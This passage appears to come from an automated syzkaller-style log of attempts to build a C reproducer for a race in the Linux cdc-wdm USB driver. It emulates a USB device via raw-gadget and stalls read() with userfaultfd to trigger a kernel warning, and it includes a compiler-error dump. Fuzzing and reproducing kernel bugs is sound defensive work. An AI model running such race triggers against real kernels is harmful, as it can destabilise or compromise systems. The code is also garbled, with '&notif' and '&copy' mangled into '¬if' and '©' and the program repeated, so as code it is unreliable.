if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 415/3 |
2026/09/11 23:40 |
loop |
|
1m
|
| 416/4 |
2026/09/11 23:40 |
iteration |
0 |
1m
|
| 417/5 |
2026/09/11 23:40 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 418/5 |
2026/09/11 23:40 |
action |
compile-c-prog |
0m
Results: map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
